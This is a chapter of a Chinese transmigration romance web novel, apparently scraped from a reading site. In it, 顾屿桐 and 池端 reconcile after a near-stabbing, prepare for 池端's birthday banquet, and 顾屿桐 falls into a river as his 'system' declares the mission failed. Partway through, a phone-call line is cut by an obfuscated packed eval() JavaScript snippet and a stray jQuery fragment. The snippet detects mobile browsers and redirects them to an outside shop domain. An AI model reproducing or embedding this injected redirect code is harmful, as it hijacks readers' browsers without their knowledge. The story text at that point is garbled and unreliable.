18. 身死
    花廊下,顾屿桐掐着表等着,如果二十分钟后池端还没回来,他就冲过去。

    十九分钟已经过去,在数到最后十秒钟时,顾屿桐的食指指腹缓缓摸上兜里的折叠刀,暗自发力。

    三、二、一。

    倒计时结束,顾屿桐抽出刀,反手握住刀柄,冰凉的寒刃紧贴小臂,快步冲出花廊。

    冲出去的那一瞬,眼角余光迅速掠过一个人影,几乎是下意识的动作,顾屿桐目露狠色,反手一划,锋利的刀刃直奔那人的咽喉!

    ——却在看清对方的脸后,顿时卸了力,可刀已经刺了过去,再难收回。

    就在刀刃即将触碰到池端的那一刻,池端反应极为迅捷地抬臂一挡,刀被打落在地,与此同时,他左手精准地擒住了顾屿桐的脖颈,把人逼退几步,趁对方踉跄几步跌跪在地上时,绕到他身后,将他的两手反剪住。

    池端从背后控制着顾屿桐,力道沉猛,没有放开的意思。五秒后,他又一次加重了手里的力道,沉沉出声:“看清楚了吗?”

    顾屿桐被迫躬身,双膝点地,也看不清池端脸,好像又回到了最开始只能靠语气揣度池端心思的时候。他痛得闷哼一声,可并没有换来池端的心软:“什么意思?”

    池端声音冷酷,用驯化恶兽一样的语气说:“意思是,无论任何时候,任何事情,都不需要你替我出面承担风险。”

    他知道顾屿桐刚刚想做什么,更知道他向来油盐不进,只有用绝对的实力把人打服,让他领教到厉害,以后才不会像今天这样冒失,永远都置自己安全于不顾,什么都不考虑,提着刀就要冲过去。

    池端压着顾屿桐的力道更重了点,势要他记住这次的教训:“能做到吗?”

    两人力量悬殊,被压制了许久的顾屿桐难受得厉害,只能重重地点了点头:“能。”

    池端终于松开桎梏,绕到他面前蹲下,抬起他的脸,开始哄人:“看着我。”

    顾屿桐老老实实地抬眼看他。

    池端实在无可奈何地叹了口气,捏住顾屿桐嘴角的一小块肉:“总是这样不管不顾怎么行。”

    顾屿桐的手腕上全是红痕,他搓揉着手腕,诚实给自己辩护:“你去了足足二十分钟,我担心池年玩阴的。”

    “就算他玩阴的,我也有办法治他。”池端用一种很肯定很坚决的语气告诉他,让他安心。他用拇指轻缓地蹭着顾屿桐的下巴:“所以不要像刚刚那样。”

    顾屿桐无法判断每回当池端陷入危机时,自己的应激反应是出于完成任务的需要多一点还是出于本能多一点。

    此刻的他更希望是前者,这样他就可以心安理得地答应下来,反正时间只剩下最后三天,任务一完成,他大可以拍拍屁股就走人。

    可事实是,他违背不了本能去说这样的话,他深知,哪怕是接下来的三天里立马又会有一场危机,他也会毫不犹豫地站在池端身边。

    所以他只是盯着池端的眼,没回话。

    池端见他不回话,索性像抱小孩儿一样把人抱起,挂在身上,右手惩戒般在他腰下拍了拍。他换了个调笑的语气,和顾屿桐讲道理:“你都打不过我,还想着替我出头。这不叫帮忙,知道这叫什么吗?”

    “嘶,我不知道。”这个姿势让他显得很被动,他左右环视,用手去推池端的胸膛,悄声说,“你先把我放下来,有人会看见的——”

    池端恶劣地笑笑,抱得更紧:“这叫殉情。”

    顾屿桐手指戳了戳池端的心窝,高高在上地嘴硬道:“我不过就是个姘头,犯得着给你殉情吗?”

    “知道我有危险第一时间跑去截车,担心池年故技重施拉着我不让我上场,掐表握着刀等我回来……”池年语气刻意一顿,歪头看他,“没有谁家的姘头会做到这个地步。”

    清风穿过花廊,头顶淡粉色的月季绵延了整条长廊,叶瓣悉数随风而动。

    顾屿桐蓦地心跳漏了一拍。

    池端两手环着他的腰,将人托高了些,和自己平视。

    花瓣拂落,花廊内像是下了一场缤纷的雨。

    顾屿桐用视线描摹着他的眼,从凌厉狭长的眼尾,到浓黑的眼睫,最后停在那片深沉的眸底,他有预感,池端要说什么,于是他在听见那四个字之前,出声截断。

    “你生日想要什么?”

    一个很生硬的转折,任谁都能听出来。

    池端却纵着他,也不生气:“非得现在问吗?”

    顾屿桐眯起狐狸一样狡黠的眼,笑着点头。只有三天了,有些话听不听都是一样的。

    但那没说出口的四个字借由这个话题,披了个外壳,被池端以一种迂回又直接的方式说了出来:

    “经由你手,我都喜欢。”

    *

    池、顾两家的项目进行得很顺利,智能、轻量化地产的噱头打得很足,加上景晟有硬实力加持,前段时间专门从国外请来的专业团队为这个工程又多加了一重保障,稳上加稳。

    倒数第三天。

    景晟作为收购方出席会议,和出让方就收购事宜进行洽谈。

    同天,《股权转让协议》由专业律师起草完毕。

    傍晚,相关词条登上热搜。景晟池总的口碑两极分化严重,其中斥责他心狠手辣的评价居多。

    池端不是在乎这些的人,基本没受到什么影响。这两天时间里,让他心绪有过起伏的只有一件事情——

    “池总,东西送到了。”张助理小心谨慎地将一小方精致的黑金色礼盒置于池端桌上。

    窗外月光洒进来。池端刚开完会,眼底略倦,视线掠过那方小盒时却难得一见地宁和了一瞬。

    “池总,需要现在送到顾先生手里吗?”

    池端用指腹摩挲着丝绒质感的外壳,像是在爱抚爱人的无名指:“不用,我自己来。”

    “对了,池总。”张助理抬手示意桌上的那堆盛在盒子里珠光宝气、金光闪闪的饰品和一大堆不知道具体起什么作用的补品,解释道,“这是下午您开会时,顾先生和林先生一起给您送来的生日礼。”

    池端眉心微皱:“顾先生?”

    张助理补充:“顾濯,顾先生。”

    池端露出一个有些松快但又果不其然的表情,轻嗤一声,没多说什么。

    林清橙作为他安插在池年身边的眼线,已经替他做了不少事,如今收网,他也没必要继续待在池年身边。

    顾濯更不必说了,四个字,彻底开荤。

    手机忽然震动,池端接起。

    对面是顾屿桐,有风声,像是在阳台吹风:“在干嘛?”

    “怎么了?”

    “没怎么,听听你的声音。”

    池端:“我来找你。”

    “不用,我都睡了。”

    顾屿桐靠着自家阳台护栏,刚想点烟,却听见对面说:“不要抽烟。”

    “嗯,听你的。”

    池端掌心握着小盒子,敛眸一笑,是一个很微小的笑,“明天见。”

    “…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12312263|130958||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …”顾屿桐鼻音很重,没说好,“挂了。”

    离任务截止时间还有50个小时,如果不出意外,顾屿桐明天会出一场小小的“意外”,然后把锅甩给池年,只要完成这最后10%的黑化值,他就可以离开这个世界了。

    倒数第二天,池端的生日宴提前举办。

    各大名流政客列席,说白了,这就是场向上拓展人脉的酒色宴会。

    顾濯早早到场,斡旋于各界权贵之间,八面玲珑。

    他隔着幢幢人影,看见池端朝着自己走过来,他晃着杯里的红酒,敬了池端一杯:“又长一岁。”

    池端直奔主题:“他人呢?”

    顾濯白他一眼:“这不天色还早,你宴会都还没开始呢,着什么急。”

    池端看了顾濯一眼,微微眯眸:“林清橙也不在,你们在搞什么鬼。”

    顾濯眼见瞒不住,便抬臂搭在他肩上套近乎:“说是给你准备礼物去了。瞧你多大面儿啊。”

    池端不吃这套,声音淡淡:“我去接他。”

    顾濯有些着急,这不明摆着是他提前说漏了嘴吗。他两手夹着烟,指了指池端身后那些前来敬酒庆生的人:“今天你做东,晾着这些宾客不好吧。他俩又不是小孩子,能出什么事,你把心揣回肚子里,估计太阳落山那会儿他俩就赶回来了。”

    说话间,敬酒的人已经端着杯子递到了池端面前。

    顾濯领着众人,娴熟地举杯:“敬池总。”

    其他人也跟着一块举杯。

    池端没法,只得闷着一口气仰头喝尽杯里的酒。

    晚霞如血,染红了大半边天。

    推杯换盏间,宴会已经开始了十分钟,门口仍不见来人。

    池端终于等不下去,起身,拨开身边的人,一边往外走一边拿出手机。

    顾濯也感到奇怪,两人明明说过开宴前会赶到。他走到池端身边,皱眉问:“有来过电话吗?”

    “没。”池端眼底寒峭,紧蹙着眉,“打过去也没人接。”

    顾濯一顿,忽然升起一股不安。他环视一圈周围渐渐看过来的人,拍池端的肩,压声道:“你突然离席,动静太大。人我去找,随时保持联系。”

    池端面色冷寒,并不接受这个提议。他摸出车钥匙,正准备走,只在迈步的那一瞬,手机终于响起。

    不是顾屿桐,也不是林清橙。

    是他日常和保镖交接的号码。

    一股强烈的预感侵占了整个胸腔。

    他喉咙一紧,周围忽然寂了下来,只有震动声像是催命符一般响个不停。罕见地晃神片刻后,他接起了电话。

    呼啸的风声,细微的水浪声和鼎沸的喧哗声齐刷刷朝池端奔涌而来。对面的人似乎很犹豫,又或者是被什么事情冲击到暂时组织不好措辞。

    “说话!”池端的指节快把屏幕捏碎,压抑地低吼道。

    “……对不起,池总。”保镖的声音像是密不透风的泥流,瞬间堵塞住了池端的五脏六腑。

    “顾先生他……他、坠江了。”

    *

    窒息的溺亡感灌满了顾屿桐整个脑袋。

    濒死之际,顾屿桐迷蒙地睁开眼,漆黑昏沉的江水里,只有一个光球系统在发着羸弱的光。

    机械音毫无感情:

    【警告!警告!检测到宿主生命值无限趋近于0!】

    【警告!!检测到宿主即将身死,结果判定中……】

    【判定结果为,任务失败——】